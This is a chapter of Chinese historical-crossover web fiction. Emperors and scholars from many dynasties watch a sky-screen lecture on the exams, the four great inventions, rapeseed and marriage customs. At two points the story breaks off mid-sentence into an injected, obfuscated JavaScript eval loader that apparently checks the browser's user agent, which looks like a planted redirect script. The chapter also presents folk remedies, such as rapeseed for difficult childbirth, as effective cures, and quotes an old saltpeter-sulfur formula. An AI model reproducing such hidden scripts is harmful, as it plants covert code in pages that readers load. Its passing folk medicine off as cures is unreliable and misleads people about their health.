【④说的就是科举制了，从隋朝开始实行一直到清朝结束，虽然也有很多的小问题，但是经过唐宋时期的不断改革，已经是古代最为公平的选拔制度了。所以咱们可以推出，按顺序应该是②①③④，选A。】 嬴政则提出了一个他自从开始讲科举就在想的问题，“那科举的时候，写字用的是什么？总不能是竹简、木片或者布帛吧？”在天幕上变成，【秦-嬴政，科举考试时用的什么来答题】 【这个问题涉及的很多，首先科举的时候用的是纸，也就是用到了四大发明之一的造纸术。西汉时期，人们已经懂得了造纸的基本方法。东汉时，宦官蔡伦受东汉时期被称之为皇后之冠的邓绥的命令，总结前人经验，改进造纸工艺，用树皮、麻头、破布、旧渔网等植物纤维为原料造纸，纸的质量大大提高。这种纸原料易找，价格便宜，易于推广。此后纸的使用日益普遍，纸逐渐取代简帛，成为人们广泛使用的书写材料，也便利了典籍的流传，因此被称为纸圣。】 【简单说一下制作过程，使用楮树皮作为主要原料，首先将其浸泡24小时以软化纤维，之后将浸泡后的树皮放入大锅中蒸煮，进一步软化。?再将纸浆倒入模具中，经过多次手工操作，形成纸张。最后将成型的纸张晾干，经过严格的工序，最终制成蔡侯纸。?】 听到这，从前几年被当时是皇后的邓绥下令改进造纸术，用了一年时间成功发明出适合书写的植物纤维纸的宦官蔡伦激动不已，他没想到自己一个宦官竟然因为造纸术而名留青史，还被后世称之为圣。周围的宦官也都兴奋不已，赶紧围过来恭维祝贺。 蔡伦一边开心的回应，一边觉的自己要改变以后的处事方法了。就凭这个造纸术，自己哪怕以后啥都不用干，基本都能安心富贵的活下去，于是决定以后不再参与那些争权夺利的事，专心研究其他有关纸张的发明，而且太后在后世看来名声不错，自己一定要跟随太后的脚步。 邓绥开心不已，蔡伦 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书在汉朝不仅昂贵而且稀有，只有那些世家大族等可能才有，肯定是有什么方法让书变得普遍了，不然总不能宋朝参加科举的那几百万人都是大族吧，会不会是四大发明里的剩下三个呢，要是真的有这种方法，那它被列入四大发明也是应得的。问题在天幕上变成【汉刘恒-后面的朝代支撑那么多人参加科举考试的不止造纸术，应该还有其他吧。】 【当然，被称之为四大发明之一的印刷术也为科举考试提供了非常重要的作用。东汉汉灵帝时期发明的拓印是最早的印刷术，唐朝发明的雕版印刷术在唐朝中后期普遍使用，宋仁宗时毕昇发明了活字印刷术，标志着活字印刷术的诞生。】 【东汉灵帝曾将《论语》、《春秋》、《周易》等七种经典的标准文本，刻四十六通石碑上，立在洛阳太学门外；这便致使天天上千人去抄写，把太学堵得水泄不通。于是就有人发明用纸和墨拓去印碑文，供给人看，不用再抄。】 【到了唐朝，雕版印刷术被发明出来，将书稿的写样写好后，使有字的一面贴在板上，即可刻字，刻工用不同形式的刻刀将木版上的反体字墨迹刻成凸起的阳文，同时将木版上其余空白部分剔除，使之凹陷。板面所刻出的字约凸出版面1~2毫米。】 【用热水冲洗雕好的板，洗去木屑等，刻板过程就完成了。印刷时，用圆柱形平底刷蘸墨汁，均匀刷于板面上，再小心把纸覆盖在板面上，用刷子轻轻刷纸，纸上便印出文字或图画的正像。】 【将纸从印板上揭起，阴干，印制过程就完成了。一个印工一天可印1500～2000张，一块印板可连印万次。活字制版避免了雕版的不足，只要事先准备好足够的单个活字，就可随时拼版，大大地加快了制版时间。】 【宋朝，更加先进的活字印刷术被研究出来，活字版印完后，可以拆版，活字可重复使用，且活字比雕版占有的空间小，容易存储和保管。这样活字的优越性就表现出来了。公元1041~1048年，平民出身的毕昇用胶泥制字，一个字为一个印，用火烧硬，使之成为陶质。排版时先预备一块铁板，铁板上放松香、蜡、纸灰等的混合物，铁板四周围着一个铁框，在铁框内摆满要印的字印，摆满就是一版。】 【然后用火烘烤，将混合物熔化，与活字块结为一体，趁热用平板在活字上压一下，使字面平整。便可进行印刷。用这种方法，印二、三本谈不上什么效率，如果印数多了，几十本以至上千本，效率就很高了。为了提高效率常用两块铁板，一块印刷，一块排字。印完一块，另一块又排好了，这样交替使用，效率很高。】 【常用的字如“之”、“也”等字，每字制成20多个字，以备一版内有重复时使用。没有准备的生僻字，则临时刻出，用草木火马上烧成。从印板上拆下来的字，都放入同一字的小木格内，外面贴上按韵分类的标签，以备检索。】 【毕昇起初用木料作活字，实验发现木纹疏密不一，遇水后易膨胀变形，与粘药固结后不易去下，才改用胶泥。毕昇发明活字印刷，提高了印刷的效率。但是，他的发明并未受到当时统治者和社会的重视，他死后，活字印刷术仍然没有得到推广。他创造的胶泥活字也没有保留下来。但是他发明的活字印刷技术，却流传下去了。】 不用皇帝吩咐，凡是还没发明这个方法的朝代的官员都在拼命地抄写天幕上说的方法，还好每次天幕说这种长段话的时候都会很慢，而且右边总会分割出一块屏幕把所有的话都显现在上面，直到她讲下一个题才会换掉。不然讲的又快又不显现的话，谁能不仅抄完还能保证没有错误。 刘彻不再管身边在不停的记录的人，反而关注着汉灵帝这个谥号，这还是天幕提到的第一个汉朝的皇帝的谥号，不过一看就是个恶谥啊，死而志成曰灵；乱而不损曰灵；极知鬼神曰灵；不勤成名曰灵；死见神能曰灵；好祭鬼神曰灵，也不知道自己死后会有什么谥号。 邓绥一边命人记录这个方法，一边想这个皇帝是干的有多差，才会被给予这个谥号，不过还好自己在后世评价不错，也不知汉朝总共延续了多少年。 而此时正向师弟们讲解自己因为清明节回家和儿子们玩过家家，从而发现可以用泥做成东西，随意排列，因此想到了火印印刷的毕昇听到天幕上竟然提到了自己刚想的方法，立马激动地站起来，身边的师弟们也开心的恭喜他青史留名。 虽然天幕直接把方法大概讲了出来，导致他没有了先机，但本身天幕就说了这方法虽然有用一直等到他死了都没被推广，这次天幕一讲所有人都知道了，自己名声也大大提高了。 9. 四大发明 【既然提到了四大发明，那就把剩下的两个也一讲。首先是指南针，是用来判别方位的一种简单仪器。前身是司南。主要组成部分是一根装在轴上可以自由转动的磁针。磁针的北极指向地理的北极，利用这一性能可以辨别方向。常用于航海、大地测量、旅行及军事等方面。】 【指南针的发明是我国古代劳动人民在长期的实践中对物体磁性认识的结果。由于生产劳动，人们接触了磁铁矿，开始了对磁性质的了解。人们首先发现了磁石吸引铁的性质，后来又发现了磁石的指向性。经过多方面的实验和研究，终于发明了实用的指南针。】 【最早的指南针是用天然磁体做成的，早在战国时代，中国人就已经根据磁石指示南北的特性制成了“司南”，这是世界上最早的指南仪器，是用天然磁石制成的。样子像一把汤勺，圆底，可以放在平滑的“地盘”上并保持平衡，且可以自由旋转。当它静止的时候，勺柄就会指向南方。】 【古人称它为“司南”，当时的著作《韩非子》中就有：“先王立司南以端朝夕”。“端朝夕”就是正四方、定方位的意思。《鬼谷子》中记载了司南的应用，郑国人采玉时就带了司南以确保不迷失方向。北宋时期，人们发明了用人工磁化铁针的方法，制成指南针，并开始应用于航海。南宋时，指南针普遍应用于航海，同时传到阿拉伯。】 【但司南也有许多缺陷，天然磁体不易找到，在加工时容易因打击、受热而失磁。所以司南的磁性比较弱，而且它与地盘接触处要非常光滑，否则会因转动摩擦阻力过大，而难于旋转，无法达到预期的指南效果。而且司南有一定的体积和重量，携带很不方便，这可能是司南长期未得到广泛应用的主要原因。】 沈括想起自己之前还专门对指南针进行了一段时间的研究，虽然了解了制造它的方法，但是对它为什么会指南却没有一点概念。 东汉时期的王充已经回到家乡，退居在家教书，最近在著书《论衡》，他仔细研究了司南的形状和用法司南是用整块天然磁石经过琢磨制成勺型，勺柄指南极，并使整个勺的重心恰好落到勺底的正中，勺置于光滑的地盘之中，地盘外方内圆，四周刻有干支四维，合成二十四向。 北宋时期的人们听到这总觉得耳熟，有人一拍大腿，“这是不是就是那个指南鱼的游戏。就是把薄铁叶剪裁成鱼形，“鱼”的腹部略下凹，像一只小船，磁化后浮在水面，就能指示南北。” 周围人这下想起来，原来是这个。又有人补充了几句，“用薄铁叶剪裁的时候最好是长二寸，阔五分，首尾锐如鱼型，用的时候，把水碗在没有风的地方平放，之后就可以用了。” 将领们都意识到了这个指南针在战场上的作用，尤其是刘彻这个时期的，和匈奴打仗最怕迷路跑到大本营去，或者商量好了集合地点结果找不到错过胜利，这下好了，赶紧研究出来至少大方向不会错了。 【讲到指南针，宁宁想到了历史上的一个小故事，顺口讲了出来。西汉时期，有一个名叫栾大的方士，他利用磁石的这个性质做了两个棋子般的东西，通过调整两个棋子极性的相互位置，有时两个棋子相互吸引，有时相互排斥。栾大称其为“斗棋”。他把这个新奇的玩意献给汉武帝刘彻，并当场演示。】 【刘彻惊奇不已，龙心大悦，竟封栾大为“五利将军”。栾大利用磁石的性质，制作了新奇的玩意蒙骗了刘彻，再加上一些骗人的把戏，随着时间的推移，栾大的地位越来越高，甚至被封为侯爵，并娶了汉武帝的女儿卫长公主。】 【这一举动无疑是对栾大地位的最高认可，也反映了汉武帝对他的极度信任和依赖。然而，这一切的背后，都是栾大的精心策划和欺骗。好景不长，栾大的骗局最终还是被揭穿了。当他无法兑现承诺的不死药和其他奇迹时，汉武帝的怒火被点燃。经过调查，汉武帝发现栾大所谓的方术不过是一些魔术和骗术的结合体。愤怒之下，汉武帝下令将栾大腰斩，以儆效尤。】 卫子夫听到这后怕的抱住大女儿，没想到陛下以后被人骗的把女儿都嫁出去了，虽然心底很不开心，但是表面上还是没什么变化。宫里干什么都要小心，自己要是哪里表情不对，被告给刘彻怎么办？ 听完这故事，刘彻有些尴尬，没想到自己以后真的被骗了，而且还被流传到后世，有些尴尬。 汲黯本身准备发言向刘彻说明以后远离并最好不在信这些所谓的道士，可是想到之前说金丹有毒的时候刘彻就表明不会在追求长生不老。再加上这次被人骗了直接流传到后世，而且被天幕一讲，好多朝代的人都知道了，陛下应该已经深刻的反省了，自己就不必再劝说了。 尴尬了一会就不在意的刘彻发现这次天幕总算说了他以后的谥号，刚彊直理曰武；威彊敌德曰武；克定祸乱曰武；刑民克服曰武；夸志多穷曰武，是个美谥，不错不错，看来在与匈奴的战场上是我们汉朝获胜了，要不然也不会给这个评价。 刘恒有些欣慰，他这个时候最重要的是休养生息，只有攒够足够的金钱等才能托付的起后面皇帝与匈奴的战场。虽然他对外不够强硬，可那也是没办法，现在的汉朝根本撑不起大型战争，看来这个后代干得不错嘛。至于被人骗了流传后世，那都不是什么事，不是已经发现了改了嘛，改了就好，这就是个单纯的爱好，只要别像秦朝的胡亥一样就行。 李世民虽然觉得刘彻在打仗方面很厉害，但是有些方面实在是穷兵黩武，他虽然刚登基没多久，对于打仗也蠢蠢欲动。但是每次打仗前他都要想象隋炀帝的下场，汉武帝的那个时候也引以为戒，毕竟汉武帝有他前面两任皇帝的积累，他可没有，打仗最多也就四五年打一次，要在胜利的情况下最大程度的不破坏普通百姓的平静生活。 朱元璋对汉武帝刘彻比较欣赏，“胡人作为中国之患，自古已然。即便汉高祖威震四方，统率三十万大军，仍被困于白登。文、景二帝守成持重，采取置之不理的策略，虽屡遭侵扰，仅以驱逐了事。直至武帝即位，凭借其雄才大略，决心洗雪白登之耻，遂发兵征讨，威震边陲。历经五次出塞征伐，匈奴终告臣服。虽此举使中原疲惫，但匈奴自此衰弱不振，武帝之功，岂能小觑！” 【最后一个四大发明是火药，一种黑色或棕色的炸药，火药是中国古代炼丹家发明于隋唐时期，距今已有一千多年了。火药的研究开始于古代道教的炼丹术，道士们为求长生不老而炼制丹药，虽然毒死了不少道士和帝王，但它的实验方法还是有可取之处，最后导致了火药的发明。炼丹家虽然掌握了一定的化学方法，但是他们的方向是求长生不老之药，火药的发明是副产品。】 【炼丹家在处理硫磺、砒霜等剧毒金石药物时，常采用烧灼的方式对其进行“伏”处理，“伏”意为降伏，旨在使毒性减弱或消失，这一过程被称为“伏火”。唐朝中期著名道士柴炫圻，在其“伏火矾法”中提出了一种伏火配方：“硫二两，硝二两，马兜铃三钱半。右为末，拌匀。掘坑，将药物置入罐内与地平齐。投入一块熟火，如弹子大小，置于罐内，烟逐渐升起。”】 【他使用马兜铃替代了孙思邈配方中的皂角，这两种物质均能代替碳起到助燃作用。伏火配方中均含有碳素，且伏硫磺需加硝石，伏硝石需加硫磺。这表明炼丹家有意通过燃烧去除药物的剧毒。】 【尽管炼丹家知晓硫、硝、碳混合点火会产生剧烈反应，并采取措施控制反应速度，但药物伏火引发丹房失火的事故仍时有发生。《太平广记》中记载了一则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘彻也是如此，先是兴奋于有了一个可以用于打败匈奴的关键武器，可这要是所有人都能看见怎么办，听完脑海里说的话庆幸的松了口气。 宋朝及之后的朝代的皇帝开始虽有些担忧，但不严重。毕竟天幕只说了一个最简单的配方，他们的火药可不是这么简单。更别说脑海里这句话一出，更是完全不用担心了。 康熙陷入了沉思，大阿哥胤禔瞥了一眼太子，开口道：“既然天幕指出火药在清朝未受足够重视，那便意味着火药仍有发展空间。皇阿玛不妨下令深入探究火药，由儿臣来管理此事。”见皇阿玛似乎有意赞同，太子急忙插言：“皇阿玛，火药事关重大，仅凭大哥一人之力恐难胜任，不如再加上四弟或十三弟，共同研究。” 康熙微微点头，“三人有的过多，加上十三吧，老四尚有他自己的事务。”大阿哥胤禔紧握拳头，应承下来。前些时日因索额图之事与太子争执，如今太子依旧备受重视，而十三阿哥素来听从皇阿玛安排，常随太子左右，俨然是太子一派。 十三阿哥紧张地瞥了四哥一眼，随后站起身点头应允。四阿哥以安慰的眼神回望，心中暗忖：皇阿玛对太子仍存隔阂，否则不会仅让十三参与。十三手下并无得力之人，即便被视为太子党，在人才使用方面也难有作为。 所幸此前天幕提及的继位人选，众人已忘却，自己未引起注意。倒是可考虑让他人也纳几位天幕提及的姓氏的侍妾，人多便不易引人注目。 雍正时期，雍正只是吩咐让火药局继续研究火药的更进一步的用处。而对他而言，改革乃当务之急。皇阿玛晚年时，众多大臣在户部借贷未还，导致国库空虚。加之后期管理松懈，朝堂风气及各项工作均大不如前。他需深思熟虑，设法纠正这些积弊。 10. 油菜与古代行业名称 【好了，科举相关的就讲到这里，前面讲了油菜的别称和相关趣事，接下来就讲一下油菜的价值。首先油菜能补充人体日常所需，可维持骨骼强度，预防缺铁性贫血。其次油菜可以促进消化，保护眼睛，常食具有美容作用，对减轻便秘有好处；还具有活血化瘀、散血消肿，可用于治疗丹毒，习惯性便秘。但需要注意的是，油菜性凉，脾胃虚寒者不宜过量食用，以免引起消化不良等不适症状。】 一听油菜可用于治疗丹毒，胤祥看向雍正，雍正宽慰一笑，明白了，吩咐以后上菜可以多用些油菜。 那些平时常受便秘困扰的人终于找到了良方，只需吩咐下属或告知管家购买油菜，今后至少每隔两天食用一次。而女性则听闻油菜的美容功效，而且不贵，决定每隔几天便享用一次。 李时珍给一个风热牙痛的人开了药方，“用芸薹子、白芥子、茴香，等分为末，吹鼻中。右侧痛，吹左；左侧痛，吹右。油菜的用处很多，以后要是被汤火灼伤了，可以用菜子油调蚯蚓屎涂搽。”病人一边听一边惊叹，这油菜还真是全身都是宝，以后可以多买买。 【公元6世纪《齐民要术》和李时珍的《本草纲目》中均有记载。明代宋应星《天工开物》中详细记录了当时榨油的经验和方法，当时一般每百公斤菜籽可榨油三十公斤。这里说一下，现代的一公斤＝2斤＝1000克，秦和西汉时期一斤相当于258.24克，唐至清代一斤相当于596.82克】 【明代药圣李时珍在考察油莱的生长特点和形态特征后，最早把它作为药物录入《本草纲目》，说油菜的基叶和种子“辛温无毒”，有“行血、破气、消肿、散结”的功能，对医治吐血、痛肿、血痢、痔疮等症疗效显著。油菜花朵和籽实对治疗妇女难产有奇效妇女良方，歌日：“黄金花结粟米实，细碎酒下十五粒：灵丹巧效妙如神，难产之时能救急。还对治疗产后恶露、这血行滞有良好的效果，堪称为“妇科良药”。】 一些权贵家里有孕妇的人这下忙碌起来，纷纷找太医研究李时珍治疗妇女难产的良方，天幕都说的这么明白了，要是还研究不出来，还当什么太医。家境比较穷的人倒是只能去找找有没有人种油菜，咬咬牙买点酒到时候直接下到酒里就当药用了。 在县学教谕已经当了三年的宋应星正在完善自己的著作，就听到了天幕提到了他，一时激动不已，没想到自己也流传后世了。油菜榨油的经验和做法他当时可是专门总结了，“菜籽入釜，文火慢炒，香气四溢，随后碾碎受蒸。炒菜籽时，宜选用‘平底锅深六寸者’，将籽仁投入其中，勤加翻拌。” 朱元璋倒是发现了，天幕对于文人就是简单的提了几下，可是《齐民要术》《本草纲目》这些书说了好几次，就是可惜李时珍应该现在还没出生呢，要不然他的书就可以拿来让太医院学习，一群蠢材，给标儿看了半天啥都没看出来。等天幕结束了，去看看这《齐民要术》和《天工开物》里还有什么好的东西让我来用用。 而刚给病人看完风热牙痛的李时珍一抬头正看见见一群人正抬着棺材送葬，而棺材里直往外流血。和徒弟王广和上前一看，见流出的血不是淤血而是鲜血，于是赶忙拦住人群，让抬棺材的人停下来，众人听了，面面相觑，不敢相信。 李时珍看出了大家的心思，反复劝说，终于使主人答应开棺。先是进行了一番按摩，然后又在其心窝处扎了一针，不一会儿，就见棺内的妇人轻轻哼了一声醒了。 没过多久，这名妇女又顺利产下一个儿子，原来这名妇女是因难产而陷入假死。周围的一群人震惊不已，连忙询问其名字，回道“李时珍”，这下哄动起来，这不就是天幕上说的药圣李时珍嘛，立马就有富贵人家来请，想要那个治疗妇女难产的方子，肯定是本人比较保险，而且前面说了那么多油菜的用处，可是具体不是很了解，这下不就有人可问了。 【上一道题是讲完了，接下来个简单的。 下列关于古代行业的别称，对应不正确的是： A.稳婆——以替产妇接生为业的人 B.伶人——演戏、唱歌的人 C.冰人——在婚姻嫁娶中起着牵线搭桥作用的媒人 D.仵作——以替打官司的人出主意、写状纸为职业的人】 “稳婆应该就是接生婆，怜人应该就是艺伎，《晋书》里曾记载说西晋时有一个孝廉，叫做令狐策，某天做梦梦到自己站在冰上，和冰下面的人谈话，这梦来的奇怪，连他自己都觉得可能不是什么好兆头，于是就找了一个叫做索统的人，问卜吉凶。《晋书》说索统：‘明阴阳天文，善术数占候，’他在遇到令狐策之后，就说：‘冰上为阳，冰下为阴，为阳语阴，媒介事也。’意思是这个叫做公孙策的官员，马上就要帮人说媒，果不其然没过多久，太守田豹就来找他给自己的儿子做媒，而“冰人”这个称呼也就趁机流传开来。所以，冰人就是媒人。ABC都对，选D。”长孙皇后很快便想到了答案。 刚喝了一点小酒有些迷糊的李清照晃了晃脑袋，“仵作负责检验尸体确定死亡原因，D说的不对，选D。” 天幕上立马出现两条弹幕，【唐-长孙皇后，选D】【宋-李清照，选D】 【哇，这次好快，我就说简单，答案就是D。这次回答问题最快的两个人第一个是唐朝的长孙皇后，她生性简约御下平和，从不无故令人有冤，坚持抑制外戚，奖进忠良。可历史上并没有记载她的名字，只是提到了一个小名观音婢。】 【其实这种是很悲哀的，在古代女子相比男子更难在历史上留下痕迹。不过你看汉朝，不论是吕雉或者陈阿娇、卫子夫、邓绥，她们都留下了自己的名字，可往后的朝代，女子地位越低，姓名更别说根本留不下来，而要提升女子的地位除过要能让女子挣到钱，提高经济地位，最重要的是有地位高的人带领，皇后就很合适，可惜到后面的朝代哪怕是皇后也不会关注这些了。】 长孙皇后陷入沉思。她平日里除了悉心照料儿女，主要职责便是管理后宫妃嫔，全力支持陛下，鲜少关注普通女子的生活状况。今日听闻天幕一番话，她顿时醒悟，决心从即刻起关注她们的生活，不求荣华富贵，但求她们不再遭受欺凌。 看向身边的丈夫，李世民捏了捏她的手，两人相伴这么久，不用说话就明白她在想什么，李世民很赞同并支持这件事。毕竟他的姐姐平阳昭公主当年才识胆略过人，为了策应晋阳起兵，聚拢关中豪杰，发动司竹起兵，统领“娘子军”建功立业，挑选精兵与自己会师于渭河北岸，共同攻破长安，他可不想姐姐在后世却连名字都留不下来。 卫子夫也仿佛明白了什么，看向自己的几个女儿，帮助普通女子也是帮助自己的女儿，汉朝的女子地位还可以，最起码得坚持住不能像天幕说的后面的朝代一样。 李贽感慨道：“长孙皇后堪称圣贤，诸如对宫人佯怒之事，竟能巧妙运用权谋。世间果有如此卓越之女子乎？” 蒙恬倒是发现了原来有些东西的叫法在后面的朝代也会发生改变，在秦朝从事D这个这工作的人叫做令史，而且在秦朝辅佐令史工作的隶妾也被称作稳婆，这个方面虽然影响不大，可他总觉得奇妙，对这些名字的更改很感兴趣。 【第二个是李清照，她在现代被誉为“千古第一才女”，她父亲李格非是苏轼的学生。李清照自幼生活在文学氛围十分浓厚的家庭里，耳濡目染，家学熏陶，加之聪慧颖悟，所以才华过人，王灼写诗称赞她“自少年便有诗名，才力华赡，逼近前辈”，曾受到当时的文坛名家、苏轼的大弟子晁补之的大力称赞。】 苏轼哈哈大笑，没想到自己以后收的徒弟还生了个千古第一才女，向弟弟苏辙炫耀了一番，不过可惜自己估计是见不到这个才女了，不过她的父亲李格非竟然能被自己收为徒弟，说明才学也很出众，也不知道何时会碰到他。 杨慎：“宋人填词，李易安亦堪称冠绝。若置身衣冠之列，当与秦七、黄九一争高下，非独在闺阁中称雄。其词集名为《漱玉集》，惜未得一见。《声声慢》一词，尤为婉转动人。……正如山谷所言‘以故为新，以俗为雅’，易安早已深谙此道。” 【好了不多说了，咱们来看题目。A稳婆也就是接生婆，说到这那咱们可以聊一聊女子结婚生孩子这件事。《中华人民共和国民法典》第一千零四十七条规定，结婚年龄，男不得早于二十二周岁，女不得早于二十周岁】 一听女子男子都是二十岁以后才能结婚，这下那些平时那些十来岁出头就订婚，没过几年就结婚的人就接受不了了，不早早结婚儿子从哪来，男的还好说，女的不早点嫁人，过了年龄就没人要了。 嬴政有些奇怪，为什么后世的人结婚这么迟，不怕生不出孩子，或者是不缺人口了嘛。秦律规定，结婚年龄是按照身高来决定的。男子身高六尺五寸，作为成年的标准，举行冠礼。“冠”以后就具有了结婚的条件了。女子身高六尺二寸成人，女子成人“许嫁”，也就是具有结婚的条件了。 其他朝代的皇帝也觉得这样太迟了，汉朝为了恢复人口，结婚年龄多为男子十五六岁，女子十三四岁。李世民才下诏要求州县官督促男子二十岁，女子十五岁以上的必须婚配。倒是宋朝虽然规定早结婚，但实际上男女结婚年龄平均在十七八岁，奉行晚婚风潮。到明太祖朱元璋时又回到十四五岁。 【古人或许难以理解为何现代人选择在较晚的年龄结婚，除了国家人口众多的因素外，最关键的原因在于身体发育的考量。科学研究表明，女性怀孕的理想年龄范围通常介于24岁至30岁之间。】 【若过早生育，难产的风险较高，且孩子可能面临健康问题；而年龄过大则成为高龄产妇，对母体健康极为不利。对于男性而言，被认为最佳的生育年龄是25至35岁，因为在这个年龄段，精子质量较高，有利于生育健康的后代。尽管如此，古人的实际做法往往与这一理论有所出入。】 【根据清朝史料记载，顺治帝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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值得庆幸的是，几个孩子都平安降生。不过今后得考虑避孕，理应召太医问问。毕竟，观音婢已生育不止三子，如今对他来说观音婢的身体更重要。 康熙长叹一口气，“原来如此，当时真是令人心悸，还以为做了什么触怒上苍的事才遭此劫难。这样吧，尚未成婚的几位阿哥，最早也要等到十六岁后再考虑赐婚，福晋的年龄也不宜过小。以后就按这个规矩办。” 可惜此时，基本只有十三阿哥之后的尚未被赐婚，前面的阿哥们都已经有了子嗣。四阿哥和八阿哥心中稍安，既然天幕指出女性适孕年龄在24至30岁之间，那便不必过于急切，毕竟他俩的福晋也都才二十出头。 雍正陷入了回忆，当年福晋嫁给自己的时候才10岁左右，虽然圆房是几年后了，可那也很早，她生下弘晖时也才16岁。虽然弘晖去世时才年仅8岁，且是因病去世，可看到天幕提到生孩子不能够过早，他也有一刻回想要是出生迟几年，弘晖的身体会不会更好，是不是就不会因为得病而夭折。年氏嫁给自己时也才15岁，从嫁给自己到现在，生下了两个儿子，最大的才活了8岁。 从回忆中清醒过来，雍正吩咐太监分别给皇后和贵妃赏赐些东西，让他们别再伤心过了伤了身体。并连下两条圣旨，一是追封弘晖为端亲王；二是自今年起，秀女的最低年龄从十三岁提升至十六岁，凡二十岁以下、十六岁及以上的女子均可参选。虽然天幕说了二十几岁才是生育的最佳年龄，可他也只能提这些了，就算这样民间很多都已经结婚了。 刘彻反而感到一丝欣慰。他回想自己登基之初，也久久未能诞下子嗣，没想到到晚育也有好处，孩子的体质似乎更为强健。然而，当前数年需集中精力对抗匈奴，待匈奴战事接近尾声，再考虑推迟婚龄事宜。至于那些听闻此言便推迟婚嫁的年轻人，他也并不在意，毕竟这些都是下一代的事务了。 【说到生子，20世纪初的时候发现了孩子的性别是由男性决定的，所以那些认为儿媳妇生了好几个女儿肚子不争气的应该去骂你儿子不争气，毕竟生不出孙子是你儿子的问题】 那些曾经因为未能生育儿子而饱受委屈的女性，现在终于可以挺直腰板了，紧盯着看向那些曾经眼神凶狠的婆婆，说道：“听清楚了吗？天幕都说了，生不出孙子是男方的问题，而不是我的责任。” 一些婆婆听后感到羞愧，脸红得发烫；而另一些人仍旧固执己见，不肯承认问题出在自己儿子身上。周围的人嘲讽那些固执的婆婆，说这样的话，她们以后就别听天幕了，也别从人家天幕说的话里学东西赚钱了。尽管那些固执的人表面上仍然表示怀疑，但内心其实已经接受了这一事实，只是不愿意在儿媳面前示弱。 平时因生不出儿子而频繁在外酗酒、回家殴打妻子的男子，此刻更是羞愧得满脸通红。生不出儿子明明是自己的问题，平时就看他不顺眼的人更是冷嘲热讽：“瞧这家伙还能说什么，以后说不定还得靠那家媳妇当家做主呢，毕竟生不出儿子，这臭男人自己才该发愁。 11. 冰人与中表婚 【A说完了，B没什么好说的。C的话，有一点需要给古代人强调。中国自古以来关于男女不能结婚的有多种规定，比如同姓不婚，近亲不婚，禁止中表婚姻，逃亡者家属不婚，良贱不婚。】 【其他的大部分朝代都很遵循，而且越往后的朝代划分越详细，但唯独其中的中表婚姻，也就是表兄妹结婚的一种称谓，是古代较为常见的婚姻形式，这样的结婚形式屡禁不止，因为从血缘关系方面“中表婚姻”亲上加亲。甚至在唐代、宋代的中表结婚往往传为佳话，直至清朝明确禁止（违者杖八十，判离）方才作罢，但后来终于因"习俗已久，莫能更易"而解禁。】 【但从1980年代开始，新中国禁止中表婚。因为近亲结婚会大幅度提高隐性遗传病的发病率。有资料表明，近亲结婚子代患隐性遗传病的几率是非近亲结婚子代的150倍。而且一些多基因遗传病的发病率，近亲结婚也高于非近亲结婚。除此之外，近亲结婚后代的早期死亡率和畸形率也都高。】 【这时候可能有人会问，为什么很少听说有人生下畸形儿？原因多方面。首先，古代所谓的表兄妹与现代的表兄妹实际上差异很大。古代人重视亲戚关系，许多超出五服的远亲也能被牵强附会地拉扯到一起，凑成表兄妹关系。再加上古代实行一夫一妻多妾制，导致有些表兄妹之间并无血缘关系，仅仅是名义上的表亲。】 【然而，为了家族间的利益，他们不得不以表亲身份结为夫妻。因此，他们所生的孩子通常都是健康的，几乎不会出现畸形或精神疾病。反观现代人，对亲戚关系较为淡漠，只有关系较为亲密的表亲才会频繁联系，而这些表兄妹血缘关系较近，自然不宜结婚。】 【第二，古代的医疗条件极为恶劣，尤其是在对待新生儿和孕妇方面。由于存在性别差异，许多老中医不便深入研究，导致我国古代婴儿的存活率极低。以康熙皇帝为例，他的55个孩子中，仅有33人存活，夭折了22个，这还是在皇家背景下，普通人家的新生儿存活率更是低得惊人。】 【因此，许多表亲结婚所生的畸形儿，往往还未出生便胎死腹中。然而，在古代，丈夫可以多娶妻妾，故不必过于担忧子嗣问题。尽管如此，婴儿存活率始终难以提升，表亲之间诞下的畸形儿也并不常见。】 【第三，古人极为重视颜面，对于畸形儿往往不予名分，甚至剥夺其成长的机会。在我国古代，对身心不健康的畸形儿极为排斥，大家族通常不允许畸形儿的出生。一旦有畸形儿降生，往往会私下溺毙，且不载入家谱，以致外界无从知晓其存在。】 【至于表兄妹间的联姻，多属家族间的策略性结合，表妹常居主母之位，这样的身份背景下，更不可能容忍畸形儿的诞生。因此，古往今来，表亲间鲜有诞下不健康孩子的情况公之于众。即便偶有发生，也会被秘密处理，确保无人知晓。】 【综上所述，并非古代表兄妹不会生育不健康的孩子，而是古代大家族通常不会让这样的孩子存活长大。此外，古人通常也不会选择与血缘关系较近的表兄妹结婚，因此给后人造成了一种错觉，即古代表兄妹结婚不会诞下畸形儿。因此，若确为表兄妹关系，切记不可结婚；而对于那些并无实际血缘关系的“表兄妹”，则无需过于在意。】 刘彻陷入沉思，自己娶了其姑长公主的女儿陈氏为皇后，岂不是也算近亲结婚，那自己是不是应该庆幸没怀孕，这要是真生下了畸形儿，严重的甚至会动摇自己的皇帝权利甚至皇帝位置。 大部分人都松了一口气，毕竟多数人并非真正的表兄妹关系，但确实存在这种情况的，也必须立即终止婚姻。 宋代，田间劳作的人们常一边干活一边听天幕讲话。听到这个结论后，纷纷议论开来：“怪不得听说老李家第二个孩子是畸形的已经被偷偷埋了，当时还谣传是他们家祖上缺德，原来是表兄妹通婚。当时结婚时还说是亲近，现在该怎么办？总不能不生孩子吧。”一位妇女抹了抹额头的汗水说道。 另一人挤眉弄眼地接话：“先别提生孩子的事，女的家里正闹着要和离呢。之前那老婆子还骂女方生不出儿子，还生了个畸形儿，女方有苦难言，家里也无奈。刚才天幕不是说了吗，生男生女由男方决定，再说生出畸形儿也不是女方一个人的责任，这下女的家里可不就硬气了。” 旁边一人听到这里，忍不住插嘴道：“那和离后女的怎么办？总不能一直呆在娘家不嫁人吧？” 